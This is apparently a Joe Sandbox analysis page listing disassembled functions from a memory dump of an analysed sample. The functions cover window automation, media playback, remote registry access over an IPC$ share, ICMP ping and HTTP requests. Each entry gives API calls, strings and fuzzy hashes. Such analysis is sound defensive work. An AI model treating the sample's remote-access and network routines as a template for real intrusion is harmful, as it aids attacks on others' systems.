Instruction Fuzzy Hash: 45319271981128BBD7248B54DC88EFFBB7EEF45760F044266F905E2290D7309E45DAA0

Function 005EE6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 005EE6B4

Part of subcall function 0059E551: timeGetTime.WINMM(?,?,005EE6D4), ref: 0059E555

Sleep.KERNEL32(0000000A), ref: 005EE6E1
EnumThreadWindows.USER32(?,Function_0006E665,00000000), ref: 005EE705
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 005EE727
SetActiveWindow.USER32 ref: 005EE746
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 005EE754
SendMessageW.USER32(00000010,00000000,00000000), ref: 005EE773
Sleep.KERNEL32(000000FA), ref: 005EE77E
IsWindow.USER32 ref: 005EE78A
EndDialog.USER32(00000000), ref: 005EE79B

Strings

BUTTON, xrefs: 005EE719

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 74ce3ce517e3f99612b532dbb677d23071e05a5d1507ccec14da18dba0fd1bdc
Instruction ID: 6afceee5f3fb05b2994a8726c0674d391e36c5cdaa142227ac7705ce003cee8a
Opcode Fuzzy Hash: 74ce3ce517e3f99612b532dbb677d23071e05a5d1507ccec14da18dba0fd1bdc
Instruction Fuzzy Hash: 6621D5B0250382AFEB049F21EC9FB693F6BF75635AF04B426F445821B1DB71AC408B64

Function 005EE9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 00589CB3: _wcslen.LIBCMT ref: 00589CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 005EEA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 005EEA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 005EEA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 005EEA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 005EEAA7

Strings

alias PlayMe, xrefs: 005EEA36
play PlayMe wait, xrefs: 005EEA91
close PlayMe, xrefs: 005EEA6E, 005EEA9B
status PlayMe mode, xrefs: 005EEA58
open , xrefs: 005EEA0C
play PlayMe, xrefs: 005EEAA2

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: 4c111b8127e241d3a18dfe718e6d0763eb4f60ee02bba872c90235eea83d78b4
Instruction ID: 40a9b1bab766f441551fabcf8c9d2a34ae4cc8d13cdf637f2134b9dba8a2ae8c
Opcode Fuzzy Hash: 4c111b8127e241d3a18dfe718e6d0763eb4f60ee02bba872c90235eea83d78b4
Instruction Fuzzy Hash: 2E115431A5025A79E724B762DC4FDFF6E7DFBD2B40F050429B811A20D1EEB00905C6B1

Function 00598BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00598F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00598BE8,?,00000000,?,?,?,?,00598BBA,00000000,?), ref: 00598FC5

DestroyWindow.USER32(?), ref: 00598C81
KillTimer.USER32(00000000,?,?,?,?,00598BBA,00000000,?), ref: 00598D1B
DestroyAcceleratorTable.USER32(00000000), ref: 005D6973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,00598BBA,00000000,?), ref: 005D69A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,00598BBA,00000000,?), ref: 005D69B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00598BBA,00000000), ref: 005D69D4
DeleteObject.GDI32(00000000), ref: 005D69E6

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 63616ebc858d838f4ef443eeaab6b5183d4babf8dd4d4c3dcfe710ba3c69510d
Instruction ID: fa5d23ae31f7562a32989d5deebf68fd517798924ed21c70d57cc56b6183dd4f
Opcode Fuzzy Hash: 63616ebc858d838f4ef443eeaab6b5183d4babf8dd4d4c3dcfe710ba3c69510d
Instruction Fuzzy Hash: 45615A31502701DFCF35DF18D958B797BB2FB46322F14A91AE0829B6A0CB71AD91DB90

Function 005B8D45 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Strings

.Z, xrefs: 005B903A, 005B8FD0, 005B8FF2

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID:
String ID: .Z
API String ID: 0-572057124
Opcode ID: 563aae4ea11c6102a382f543d3955855adf1387b6361f722d53edd3c6b1c1368
Instruction ID: de00e7d3899d5a84c7bed28b138f2590e890e8e83ff3a272657a248aae74272d
Opcode Fuzzy Hash: 563aae4ea11c6102a382f543d3955855adf1387b6361f722d53edd3c6b1c1368
Instruction Fuzzy Hash: 17C1E27490424AAFDB11EFA8D849BFDBFB5BF4A310F184199F914A7392C730A941CB61

Function 005E06DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00586B57: _wcslen.LIBCMT ref: 00586B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 005E07A2
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 005E07BE
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 005E07DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 005E0804
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 005E082C
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 005E0837
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 005E083C

Strings

\IPC$, xrefs: 005E0784
\CLSID, xrefs: 005E0724
SOFTWARE\Classes\, xrefs: 005E070E

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: 22ad5f716b510f7ac4e9b817bd48bd1d51a84485c1ea72772f664253ef8f8d5c
Instruction ID: 6ee5a3853c6566bc8b6dcd001b80df7eecbc085249c70f3a6c9a64a59d587ac6
Opcode Fuzzy Hash: 22ad5f716b510f7ac4e9b817bd48bd1d51a84485c1ea72772f664253ef8f8d5c
Instruction Fuzzy Hash: 59411972C1022AABDF15EBA4DC998EDBB79FF44750F14412AE901B31A1EB709E44CB90

Function 0060055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 006005BC
inet_addr.WSOCK32(?), ref: 0060061C
gethostbyname.WSOCK32(?), ref: 00600628
IcmpCreateFile.IPHLPAPI ref: 00600636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 006006C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 006006E5
IcmpCloseHandle.IPHLPAPI(?), ref: 006007B9
WSACleanup.WSOCK32 ref: 006007BF

Strings

Ping, xrefs: 00600676

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: e6afb2334476d35ca8b5f59a137225b4bf15d155059a97bd2d719510390a6059
Instruction ID: 3fe04391c8a20f31172018061d5f6681fadc8fb9217642e16caa78fa0aee307b
Opcode Fuzzy Hash: e6afb2334476d35ca8b5f59a137225b4bf15d155059a97bd2d719510390a6059
Instruction Fuzzy Hash: 7191BF346442019FE724DF14C888F5ABBE2BF84318F1885A9F4699B7A2C774EC41CF81

Function 00608CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 00608CF3

Part of subcall function 005E8E54: _wcslen.LIBCMT ref: 005E8E77

_wcslen.LIBCMT ref: 00608D4E
_wcslen.LIBCMT ref: 00608D9C
_wcslen.LIBCMT ref: 00608DDC
_wcslen.LIBCMT ref: 00608E6E

Strings

winapi, xrefs: 00608D96, 00608D9B
cdecl, xrefs: 00608D48, 00608D4D
stdcall, xrefs: 00608DD6, 00608DDB
none, xrefs: 00608E65, 00608E6A

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: a990e92dfb97a1e9c951a777960704999c2ea9f93518c472a4750e26a1ded6ff
Instruction ID: b58aeaafa3d985d4671e0c4745e9c75f2321261acaf50fca6bcaae7b15e81c4a
Opcode Fuzzy Hash: a990e92dfb97a1e9c951a777960704999c2ea9f93518c472a4750e26a1ded6ff
Instruction Fuzzy Hash: 16518E31A405179FCB18DF68C9508FFB7A6BFA5720B254229E8A6A73C4DB30DD41CB90

Function 005F8195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 005F8257
SystemTimeToFileTime.KERNEL32(?,?), ref: 005F8267
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 005F8273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 005F8310
SetCurrentDirectoryW.KERNEL32(?), ref: 005F8324
SetCurrentDirectoryW.KERNEL32(?), ref: 005F8356
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 005F838C
SetCurrentDirectoryW.KERNEL32(?), ref: 005F8395

Strings

*.*, xrefs: 005F839B

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: f985b0bf4c4b4fb7ceeb87921f25e5ba469dc24654071ccc956e7c16eec37b3b
Instruction ID: c937060db384f7707c344fd504566f9662f371a6d49f8b6d87ad61895a8da209
Opcode Fuzzy Hash: f985b0bf4c4b4fb7ceeb87921f25e5ba469dc24654071ccc956e7c16eec37b3b
Instruction Fuzzy Hash: A6618D7250430A9FD710EF60C8449AFBBE9FF89310F04891EFA9997251EB35E945CB92

Function 00618B02 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00599BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00599BB2

Part of subcall function 0059912D: GetCursorPos.USER32(?), ref: 00599141
Part of subcall function 0059912D: ScreenToClient.USER32(00000000,?), ref: 0059915E
Part of subcall function 0059912D: GetAsyncKeyState.USER32(00000001), ref: 00599183
Part of subcall function 0059912D: GetAsyncKeyState.USER32(00000002), ref: 0059919D

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?,?,?), ref: 00618B6B
ImageList_EndDrag.COMCTL32 ref: 00618B71
ReleaseCapture.USER32 ref: 00618B77
SetWindowTextW.USER32(?,00000000), ref: 00618C12
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00618C25
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?,?,?), ref: 00618CFF

Strings

@GUI_DRAGFILE, xrefs: 00618C9A
@GUI_DROPID, xrefs: 00618C51
p#e, xrefs: 00618C71

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID$p#e
API String ID: 1924731296-1096792570
Opcode ID: 5f72efb22c18780ce4a816e97d070d6064a8618b0f34a31273290fa95a4b92d0
Instruction ID: 007535ba31f90fa21de593bf1f246497598d5174d505eb21050a195d3f293797
Opcode Fuzzy Hash: 5f72efb22c18780ce4a816e97d070d6064a8618b0f34a31273290fa95a4b92d0
Instruction Fuzzy Hash: 4E517C70204305AFD700EF24DC5ABAE7BE6FB89715F04062DF956A72A1CB719D44CBA2

Function 005B2C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 005B2C94

Part of subcall function 005B29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,005BD7D1,00000000,00000000,00000000,00000000,?,005BD7F8,00000000,00000007,00000000,?,005BDBF5,00000000), ref: 005B29DE
Part of subcall function 005B29C8: GetLastError.KERNEL32(00000000,?,005BD7D1,00000000,00000000,00000000,00000000,?,005BD7F8,00000000,00000007,00000000,?,005BDBF5,00000000,00000000), ref: 005B29F0

_free.LIBCMT ref: 005B2CA0
_free.LIBCMT ref: 005B2CAB
_free.LIBCMT ref: 005B2CB6
_free.LIBCMT ref: 005B2CC1
_free.LIBCMT ref: 005B2CCC
_free.LIBCMT ref: 005B2CD7
_free.LIBCMT ref: 005B2CE2
_free.LIBCMT ref: 005B2CED
_free.LIBCMT ref: 005B2CFB

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 958b8e5660d8463c1b7d31c9fb4606ab330286717d895aa087077b6ebe35f6f0
Instruction ID: 77a90cdfb58d8841efc75902c46adbe3c340455488423abb4172afe0f4723488
Opcode Fuzzy Hash: 958b8e5660d8463c1b7d31c9fb4606ab330286717d895aa087077b6ebe35f6f0
Instruction Fuzzy Hash: 1B116276500109BFCB02EF54D986CDD3FA5BF49350F5149A5FA4C9B222DA31FA909BA0

Function 005FC253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 005FC272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005FC29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 005FC2CA
GetLastError.KERNEL32 ref: 005FC322
SetEvent.KERNEL32(?), ref: 005FC336
InternetCloseHandle.WININET(00000000), ref: 005FC341

Strings

, xrefs: 005FC2BB

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 55fd6d6e0d431a000ab08f86b9c18732a7fa0c80f9ba9858d473b14802d85d87
Instruction ID: 5d6c73e7186b2ba9b182244d9f7235bd847625a9a692895635189afd95349ca8
Opcode Fuzzy Hash: 55fd6d6e0d431a000ab08f86b9c18732a7fa0c80f9ba9858d473b14802d85d87
Instruction Fuzzy Hash: C93171B164020CAFD7219F648D88ABF7FFDFB49794B14892EF54692240DB38DD049B61

Function 005E209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 005E20AB
GetClassNameW.USER32(00000000,?,00000100), ref: 005E20C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 005E214D

Strings

largeicons, xrefs: 005E20E1
smallicons, xrefs: 005E2115
details, xrefs: 005E20FB
list, xrefs: 005E212F
SHELLDLL_DefView, xrefs: 005E20CC

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: 843b1b11847211c4187ebc27df7c5d74b8f21789e287ba913a303e0f4b6f8073
Instruction ID: cf18bbdfa396266464bcab1c6aaaf43ef535395cb498765913f773c11846634c
Opcode Fuzzy Hash: 843b1b11847211c4187ebc27df7c5d74b8f21789e287ba913a303e0f4b6f8073
Instruction Fuzzy Hash: 12113A762C8707BBF70D2221DC0ADEA3F9DEB06324F200016F745A40E6FAB159419914

Function 005BCE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 005BCEB7
_free.LIBCMT ref: 005BCF22
_free.LIBCMT ref: 005BCF48
_free.LIBCMT ref: 005BCF71
_free.LIBCMT ref: 005BCFA9
_free.LIBCMT ref: 005BCFDA
_free.LIBCMT ref: 005BD01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 005BD09C
_free.LIBCMT ref: 005BD0B5

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: 953c9844edd69f32c9ee2f7e71db6ca4aedb3df10cd14b7de8281a75383c700d
Instruction ID: 7921f0c8ce9711ebafdd97aa57dbdef8910872750344e27f861638ef401b5497
Opcode Fuzzy Hash: 953c9844edd69f32c9ee2f7e71db6ca4aedb3df10cd14b7de8281a75383c700d
Instruction Fuzzy Hash: 48614771904306AFDB21AFB49889AFE7FA6FF45310F1446ADF94597242E631BD008B64

Function 00598B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 005D6890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 005D68A9
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 005D68B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 005D68D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 005D68F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00598874,00000000,00000000,00000000,000000FF,00000000), ref: 005D6901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 005D691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00598874,00000000,00000000,00000000,000000FF,00000000), ref: 005D692D

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: 2ac061df274ced206bdfcff034763960652aa0b09b1be01f141e3c54999f7012
Instruction ID: c9979d388ff56e96af2c2ff1f484d669ae10cb8f013c9ef16531d8156d9b0c7e
Opcode Fuzzy Hash: 2ac061df274ced206bdfcff034763960652aa0b09b1be01f141e3c54999f7012
Instruction Fuzzy Hash: 21518870600209EFDF20CF28CC55FAA7BB6FB89760F18451AF952972A0DB70E991DB50

Function 005FC143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 005FC182
GetLastError.KERNEL32 ref: 005FC195
SetEvent.KERNEL32(?), ref: 005FC1A9

Part of subcall function 005FC253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 005FC272
Part of subcall function 005FC253: GetLastError.KERNEL32 ref: 005FC322
Part of subcall function 005FC253: SetEvent.KERNEL32(?), ref: 005FC336
Part of subcall function 005FC253: InternetCloseHandle.WININET(00000000), ref: 005FC341

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
